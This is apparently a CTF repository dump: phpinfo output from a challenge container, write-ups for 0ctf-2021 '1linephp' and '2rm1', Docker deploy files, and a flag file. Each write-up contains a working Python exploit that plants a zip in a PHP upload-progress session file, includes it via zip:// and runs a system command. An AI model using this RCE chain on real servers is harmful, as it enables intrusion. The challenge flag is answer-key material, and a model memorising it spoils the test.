session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_pathno valueno value
session.serialize_handlerphpphp
session.sid_bits_per_character44
session.sid_length3232
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00
490 |

SimpleXML

491 | 492 | 493 | 494 |
SimpleXML support enabled
Schema support enabled
495 |

sodium

496 | 497 | 498 | 499 | 500 |
sodium supportenabled
libsodium headers version 1.0.17
libsodium library version 1.0.17
501 |

SPL

502 | 503 | 504 | 505 | 506 |
SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
507 |

sqlite3

508 | 509 | 510 | 511 |
SQLite3 supportenabled
SQLite Library 3.27.2
512 | 513 | 514 | 515 | 516 |
DirectiveLocal ValueMaster Value
sqlite3.defensive11
sqlite3.extension_dirno valueno value
517 |

standard

518 | 519 | 520 | 521 |
Dynamic Library Support enabled
Path to sendmail /usr/sbin/sendmail -t -i
522 | 523 | 524 | 525 | 526 | 527 | 528 | 529 | 530 | 531 | 532 | 533 | 534 | 535 | 536 | 537 | 538 | 539 |
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
unserialize_max_depth40964096
url_rewriter.hostsno valueno value
url_rewriter.tagsform=form=
user_agentno valueno value
540 |

tokenizer

541 | 542 | 543 |
Tokenizer Support enabled
544 |

xml

545 | 546 | 547 | 548 | 549 |
XML Support active
XML Namespace Support active
libxml2 Version 2.9.4
550 |

xmlreader

551 | 552 | 553 |
XMLReader enabled
554 |

xmlwriter

555 | 556 | 557 |
XMLWriter enabled
558 |

zip

559 | 560 | 561 | 562 | 563 | 564 |
Zip enabled
Zip version 1.15.6
Libzip headers version 1.5.1
Libzip library version 1.5.1
565 |

zlib

566 | 567 | 568 | 569 | 570 | 571 | 572 |
ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
573 | 574 | 575 | 576 | 577 | 578 |
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value
579 |

Additional Modules

580 | 581 | 582 |
Module Name
583 |

Environment

584 | 585 | 586 | 587 | 588 | 589 | 590 | 591 | 592 | 593 | 594 | 595 | 596 | 597 | 598 | 599 | 600 | 601 | 602 | 603 | 604 | 605 | 606 | 607 | 608 | 609 | 610 | 611 | 612 |
VariableValue
HOSTNAME 0699e883b740
PHP_VERSION 7.4.11
APACHE_CONFDIR /etc/apache2
PHP_MD5 no value
PHP_INI_DIR /usr/local/etc/php
GPG_KEYS 42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
PHP_LDFLAGS -Wl,-O1 -pie
PWD /var/www/html
APACHE_LOG_DIR /var/log/apache2
LANG C
PHP_SHA256 5d31675a9b9c21b5bd03389418218c30b26558246870caba8eb54f5856e2d6ce
APACHE_PID_FILE /var/run/apache2/apache2.pid
PHPIZE_DEPS autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_URL https://www.php.net/distributions/php-7.4.11.tar.xz
APACHE_RUN_GROUP www-data
APACHE_LOCK_DIR /var/lock/apache2
PHP_EXTRA_CONFIGURE_ARGS --with-apxs2 --disable-cgi
SHLVL 0
PHP_CFLAGS -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
APACHE_RUN_DIR /var/run/apache2
APACHE_ENVVARS /etc/apache2/envvars
APACHE_RUN_USER www-data
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PHP_EXTRA_BUILD_DEPS apache2-dev
PHP_ASC_URL https://www.php.net/distributions/php-7.4.11.tar.xz.asc
PHP_CPPFLAGS -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
613 |

PHP Variables

614 | 615 | 616 | 617 | 618 | 619 | 620 | 622 | 623 | 624 | 625 | 626 | 627 | 628 | 629 | 630 | 631 | 632 | 633 | 634 | 635 | 636 | 637 | 638 | 639 | 640 | 641 | 642 | 643 | 647 | 648 | 649 | 650 | 651 | 652 | 653 | 654 | 655 | 656 | 657 | 658 | 659 | 660 | 661 | 662 | 663 | 664 | 665 | 666 | 667 | 668 | 669 | 670 | 671 | 672 | 673 | 674 |
VariableValue
$_SERVER['HTTP_HOST']127.0.0.1
$_SERVER['HTTP_USER_AGENT']curl/7.64.0
$_SERVER['HTTP_ACCEPT']*/*
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$_SERVER['SERVER_SIGNATURE']<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address> 621 |
$_SERVER['SERVER_SOFTWARE']Apache/2.4.38 (Debian)
$_SERVER['SERVER_NAME']127.0.0.1
$_SERVER['SERVER_ADDR']127.0.0.1
$_SERVER['SERVER_PORT']80
$_SERVER['REMOTE_ADDR']127.0.0.1
$_SERVER['DOCUMENT_ROOT']/var/www/html
$_SERVER['REQUEST_SCHEME']http
$_SERVER['CONTEXT_PREFIX']no value
$_SERVER['CONTEXT_DOCUMENT_ROOT']/var/www/html
$_SERVER['SERVER_ADMIN']webmaster@localhost
$_SERVER['SCRIPT_FILENAME']/var/www/html/phpinfo.php
$_SERVER['REMOTE_PORT']40012
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['REQUEST_METHOD']GET
$_SERVER['QUERY_STRING']no value
$_SERVER['REQUEST_URI']/phpinfo.php
$_SERVER['SCRIPT_NAME']/phpinfo.php
$_SERVER['PHP_SELF']/phpinfo.php
$_SERVER['REQUEST_TIME_FLOAT']1625156291.3649
$_SERVER['REQUEST_TIME']1625156291
$_SERVER['argv']
Array
644 | (
645 | )
646 |
$_SERVER['argc']0
$_ENV['HOSTNAME']0699e883b740
$_ENV['PHP_VERSION']7.4.11
$_ENV['APACHE_CONFDIR']/etc/apache2
$_ENV['PHP_MD5']no value
$_ENV['PHP_INI_DIR']/usr/local/etc/php
$_ENV['GPG_KEYS']42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
$_ENV['PHP_LDFLAGS']-Wl,-O1 -pie
$_ENV['PWD']/var/www/html
$_ENV['APACHE_LOG_DIR']/var/log/apache2
$_ENV['LANG']C
$_ENV['PHP_SHA256']5d31675a9b9c21b5bd03389418218c30b26558246870caba8eb54f5856e2d6ce
$_ENV['APACHE_PID_FILE']/var/run/apache2/apache2.pid
$_ENV['PHPIZE_DEPS']autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
$_ENV['PHP_URL']https://www.php.net/distributions/php-7.4.11.tar.xz
$_ENV['APACHE_RUN_GROUP']www-data
$_ENV['APACHE_LOCK_DIR']/var/lock/apache2
$_ENV['PHP_EXTRA_CONFIGURE_ARGS']--with-apxs2 --disable-cgi
$_ENV['SHLVL']0
$_ENV['PHP_CFLAGS']-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
$_ENV['APACHE_RUN_DIR']/var/run/apache2
$_ENV['APACHE_ENVVARS']/etc/apache2/envvars
$_ENV['APACHE_RUN_USER']www-data
$_ENV['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$_ENV['PHP_EXTRA_BUILD_DEPS']apache2-dev
$_ENV['PHP_ASC_URL']https://www.php.net/distributions/php-7.4.11.tar.xz.asc
$_ENV['PHP_CPPFLAGS']-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
675 |
676 |

PHP Credits

677 | 678 | 679 | 680 |
PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
681 | 682 | 683 | 684 |
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
685 | 686 | 687 | 688 | 689 | 690 | 691 | 692 | 693 | 694 | 695 | 696 | 697 |
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
698 | 699 | 700 | 701 | 702 | 703 | 704 | 705 | 706 | 707 | 708 |
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
709 | 710 | 711 | 712 | 713 | 714 | 715 | 716 | 717 | 718 | 719 | 720 | 721 | 722 | 723 | 724 | 725 | 726 | 727 | 728 | 729 | 730 | 731 | 732 | 733 | 734 | 735 | 736 | 737 | 738 | 739 | 740 | 741 | 742 | 743 | 744 | 745 | 746 | 747 | 748 | 749 | 750 | 751 | 752 | 753 | 754 | 755 | 756 | 757 | 758 | 759 | 760 | 761 | 762 | 763 | 764 | 765 | 766 | 767 | 768 | 769 | 770 | 771 | 772 | 773 | 774 | 775 | 776 | 777 | 778 | 779 | 780 | 781 |
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
FFI Dmitry Stogov
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
782 | 783 | 784 | 785 | 786 | 787 | 788 |
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
789 | 790 | 791 | 792 |
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
793 | 794 | 795 | 796 | 797 | 798 | 799 |
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker
800 |

PHP License

801 | 802 | 811 |
803 |

804 | This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE 805 |

806 |

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 807 |

808 |

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net. 809 |

810 |
812 |
-------------------------------------------------------------------------------- /0ctf-2021/1linephp/writeup/1linephp_writeup.md: -------------------------------------------------------------------------------- 1 | ## 1linephp 2 | 3 | #### solution 4 | 5 | ##### zip 6 | 7 | php的zip extension使用的是libzip这个库，通过阅读libzip的源码可以发现，其解析zip文件的方式是从后往前的，先在文件末尾的一个范围内寻找EOCD的MAGIC，然后根据EOCD中的offset去读取CDH，最后根据CDH中的offset去读取压缩文件数据。 8 | 9 | 这种解析方式使得可以在zip的开头和末尾以及各个部分之间插入多余的数据，只需对应地修改两个offset就可以让libzip正常解析。 10 | 11 | 如果在zip_open时开启了ZIP_CHECKCONS这个选项，那么解析zip时的检查会更严格。 12 | 13 | ###### 备注 14 | 15 | 用 *zip* 工具修复offset: https://github.com/perfectblue/ctf-writeups/tree/master/2021/0ctf-2021-quals/onelinephp 16 | 17 | 在与参赛选手的交流中发现，其实是可以搜到相关的信息的： 18 | 19 | - https://gynvael.coldwind.pl/?id=523 20 | - http://roverdoge.top 21 | 22 | ##### session 23 | 24 | PHP_SESSION_UPLOAD_PROGRESS: https://www.php.net/manual/zh/session.upload-progress.php 25 | 26 | session.save_path: https://www.php.net/manual/zh/session.configuration.php#ini.session.save-path 27 | 28 | 利用这个特性可以在文件名可控的session文件中插入一段可控的数据，具体细节已有不少文章分析过，不再赘述。 29 | 30 | 除了竞争的做法以外，还可以用更稳定的做法。 31 | 32 | > 当 [session.upload_progress.enabled](https://www.php.net/manual/zh/session.configuration.php#ini.session.upload-progress.enabled) INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。 33 | 34 | 只要文件上传得慢一点，就可以让session文件中的上传进度信息保留得久一点，详见exp。 35 | 36 | ##### CcL's exp 37 | 38 | ```python 39 | import requests 40 | import socket 41 | 42 | port = 50081 43 | php_session_id = "dd9c6236c439f75b78cf6ef8d1efca31" 44 | payload = b"ccl_PK\x03\x04\x14\x00\x00\x00\x08\x00\xe5Q\xd9Rs\xaei\xe7\x1d\x00\x00\x00 \x00\x00\x00\x0b\x00\x1c\x00include.phpUT\t\x00\x03-<\xd5`-<\xd5`ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00s\xb0\xb1/\xc8(PHM\xce\xc8WP\x89ww\r\x896\x88\xd5\x800\x0cc5\xad\xb9\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\xe5Q\xd9Rs\xaei\xe7\x1d\x00\x00\x00 \x00\x00\x00\x0b\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\x14\x00\x00\x00include.phpUT\x05\x00\x03-<\xd5`ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00Q\x00\x00\x00v\x00\x00\x00\x00\x00" 45 | 46 | 47 | def exp(): 48 | res = requests.get( 49 | f"http://111.186.59.2:{port}/", 50 | params={ 51 | "yxxx": f"zip:///tmp/sess_{php_session_id}#include", 52 | "0": "system", 53 | "1": "cat /dd810fc36330c200a_flag/flag", 54 | }, 55 | ) 56 | print(res.text) 57 | 58 | 59 | def build_http_request_packet(req: requests.PreparedRequest): 60 | packet = b"" 61 | packet += f"{req.method} {req.path_url} HTTP/1.1\r\n".encode() 62 | for header, value in req.headers.items(): 63 | packet += f"{header}: {value}\r\n".encode() 64 | packet += b"\r\n" 65 | if req.body is not None: 66 | if "Content-Length" in req.headers: 67 | if type(req.body) is str: 68 | packet += req.body.encode() 69 | else: 70 | packet += req.body 71 | else: 72 | for part in req.body: 73 | packet += f"{len(part):x}\r\n".encode() 74 | packet += f"{part}\r\n".encode() 75 | packet += b"0\r\n\r\n" 76 | return packet 77 | 78 | 79 | def do_so(): 80 | req = requests.Request( 81 | "POST", 82 | f"http://111.186.59.2:{port}/", 83 | headers={"Host": f"111.186.59.2:{port}"}, 84 | cookies={"PHPSESSID": php_session_id}, 85 | data={ 86 | "PHP_SESSION_UPLOAD_PROGRESS": payload, 87 | }, 88 | files={"file": ("simple.txt", b"ccl" * 4096)}, 89 | ) 90 | packet = build_http_request_packet(req.prepare()) 91 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 92 | s.connect(("111.186.59.2", port)) 93 | s.sendall(packet[:-8]) 94 | exp() 95 | s.sendall(packet[-8:]) 96 | s.close() 97 | 98 | 99 | if __name__ == "__main__": 100 | do_so() 101 | ``` 102 | 103 | #### unintended solution 104 | 105 | 把zip文件的前16个字节删除后作为payload即可。 106 | 107 | 预期解中session文件的内容为16字节prefix+修改offset后的zip+suffix。 108 | 109 | 非预期解中session文件的内容为16字节prefix+去除前16个字节后的zip+suffix。 110 | 111 | ##### why? 112 | 113 | 通过阅读libzip的源码可以发现，其在读取zip内的文件时，先根据CDH中的offset找到LFH的位置，然后在LFH块中并没有解析全部内容，而是直接根据相对位置读取file name length和extra field length，用这两个值的和再加上30作为压缩数据的offset，直接读取压缩数据。 114 | 115 | 因此，在本题中，文件的前16个字节对libzip没有任何意义，可以任意修改。 116 | -------------------------------------------------------------------------------- /0ctf-2021/1linephp/writeup/1linephp_writeup_en.md: -------------------------------------------------------------------------------- 1 | ## 1linephp 2 | 3 | #### solution 4 | 5 | ##### zip 6 | 7 | The zip extension of PHP uses the libzip library. By reading the source code of libzip, you can find that the way to parse the zip file is from the end to the beginning. First, search for the MAGIC of EOCD at the end of the file, and then read CDH according to the EOCD offset , and finally read the compressed file data according to the offset in CDH. 8 | 9 | This way of parsing makes it possible to insert extra data at the beginning and the end of the zip. Just fix the two offsets accordingly to allow libzip to parse normally. 10 | 11 | If the ZIP_CHECKCONS option flag is passed to zip_open, the check during parsing will be stricter. 12 | 13 | ###### Note 14 | 15 | Fix offset using *zip* tool: https://github.com/perfectblue/ctf-writeups/tree/master/2021/0ctf-2021-quals/onelinephp 16 | 17 | Some contestants found that they can get some useful information by search: 18 | 19 | - https://gynvael.coldwind.pl/?id=523 20 | - http://roverdoge.top 21 | 22 | ##### session 23 | 24 | PHP_SESSION_UPLOAD_PROGRESS: https://www.php.net/manual/zh/session.upload-progress.php 25 | 26 | session.save_path: https://www.php.net/manual/zh/session.configuration.php#ini.session.save-path 27 | 28 | Using this feature, you can insert a piece of controllable data into a session file with a controllable file name. The specific details have been analyzed in many articles and will not be repeated here. 29 | 30 | In addition to time race, a more stable method can also be used. 31 | 32 | > When the [session.upload_progress.enabled](https://www.php.net/manual/en/session.configuration.php#ini.session.upload-progress.enabled) INI option is enabled, PHP will be able to track the upload progress of individual files being uploaded. 33 | 34 | As long as the file upload is slower, you can keep the upload progress information in the session file longer, see exp for details. 35 | 36 | ##### CcL's exp 37 | 38 | ```python 39 | import requests 40 | import socket 41 | 42 | port = 50081 43 | php_session_id = "dd9c6236c439f75b78cf6ef8d1efca31" 44 | payload = b"ccl_PK\x03\x04\x14\x00\x00\x00\x08\x00\xe5Q\xd9Rs\xaei\xe7\x1d\x00\x00\x00 \x00\x00\x00\x0b\x00\x1c\ x00include.phpUT\t\x00\x03-<\xd5`-<\xd5`ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00s\xb0\xb1 /\xc8(PHM\xce\xc8WP\x89ww\r\x896\x88\xd5\x800\x0cc5\xad\xb9\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\ xe5Q\xd9Rs\xaei\xe7\x1d\x00\x00\x00 \x00\x00\x00\x0b\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xa4\x81\ x14\x00\x00\x00include.phpUT\x05\x00\x03-<\xd5`ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\ x06\x00\x00\x00\x00\x01\x00\x01\x00Q\x00\x00\x00v\x00\x00\x00\x00\x00" 45 | 46 | 47 | def exp(): 48 | res = requests.get( 49 | f"http://111.186.59.2:{port}/", 50 | params={ 51 | "yxxx": f"zip:///tmp/sess_{php_session_id}#include", 52 | "0": "system", 53 | "1": "cat /dd810fc36330c200a_flag/flag", 54 | }, 55 | ) 56 | print(res.text) 57 | 58 | 59 | def build_http_request_packet(req: requests.PreparedRequest): 60 | packet = b"" 61 | packet += f"{req.method} {req.path_url} HTTP/1.1\r\n".encode() 62 | for header, value in req.headers.items(): 63 | packet += f"{header}: {value}\r\n".encode() 64 | packet += b"\r\n" 65 | if req.body is not None: 66 | if "Content-Length" in req.headers: 67 | if type(req.body) is str: 68 | packet += req.body.encode() 69 | else: 70 | packet += req.body 71 | else: 72 | for part in req.body: 73 | packet += f"{len(part):x}\r\n".encode() 74 | packet += f"{part}\r\n".encode() 75 | packet += b"0\r\n\r\n" 76 | return packet 77 | 78 | 79 | def do_so(): 80 | req = requests.Request( 81 | "POST", 82 | f"http://111.186.59.2:{port}/", 83 | headers={"Host": f"111.186.59.2:{port}"}, 84 | cookies={"PHPSESSID": php_session_id}, 85 | data={ 86 | "PHP_SESSION_UPLOAD_PROGRESS": payload, 87 | }, 88 | files={"file": ("simple.txt", b"ccl" * 4096)}, 89 | ) 90 | packet = build_http_request_packet(req.prepare()) 91 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 92 | s.connect(("111.186.59.2", port)) 93 | s.sendall(packet[:-8]) 94 | exp() 95 | s.sendall(packet[-8:]) 96 | s.close() 97 | 98 | 99 | if __name__ == "__main__": 100 | do_so() 101 | ``` 102 | 103 | #### unintended solution 104 | 105 | Delete the first 16 bytes of the zip file and use it as the payload. 106 | 107 | The content of the session file in the expected solution is a 16-byte prefix + zip with offset fixed + suffix. 108 | 109 | The content of the session file in the unexpected solution is the 16-byte prefix + zip with the first 16 bytes removed + suffix . 110 | 111 | ##### why? 112 | 113 | By reading the source code of libzip, it can be found that when reading the file in the zip, it first finds the position of the LFH according to the offset in the CDH, and then does not parse the entire content in the LFH block, but directly reads the file name length and extra field length according to the relative offset, use the sum of these two values and 30 as the offset of the compressed data, and read the compressed data directly. 114 | 115 | Therefore, in this challenge, the first 16 bytes of the file are useless to libzip and can be replaced by any value. -------------------------------------------------------------------------------- /0ctf-2021/2rm1/deploy/attachment.link: -------------------------------------------------------------------------------- 1 | https://mega.nz/file/thYHzADA#_n4QfYmSu5noM4n1G-rrkpjvZuxLFbZ9mbxesFNGRxA 2 | -------------------------------------------------------------------------------- /0ctf-2021/2rm1/writeup.md: -------------------------------------------------------------------------------- 1 | curl -> 302 -> gopher -> ssrf -> registry and rmiserver -> rebind or attach agent -> rmiclient 2 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/3rm1-reset.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while true 4 | do 5 | docker-compose down -v 6 | docker-compose up -d 7 | sleep 5m 8 | done 9 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2' 2 | services: 3 | rmiclient: 4 | build: ./rmiclient 5 | restart: always 6 | ports: 7 | - 8080:8090 8 | rmiserver: 9 | build: ./rmiserver 10 | restart: always 11 | ports: 12 | - 1099:1099 13 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/rmiclient/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:8u201-alpine 2 | 3 | 4 | RUN addgroup -S ctfgroup && adduser -S ctf -G ctfgroup 5 | RUN mkdir /opt/app 6 | 7 | COPY threermiclient.jar /opt/app 8 | COPY flag /flag 9 | 10 | WORKDIR /opt/app 11 | 12 | USER ctf 13 | CMD ["java", "-jar", "/opt/app/threermiclient.jar"] 14 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/rmiclient/flag: -------------------------------------------------------------------------------- 1 | flag{8a66704e47832bdfa8803b00fca726cf} 2 | -------------------------------------------------------------------------------- /0ctf-2022/3rm1/deploy/rmiclient/threermiclient.jar: -------------------------------------------------------------------------------- 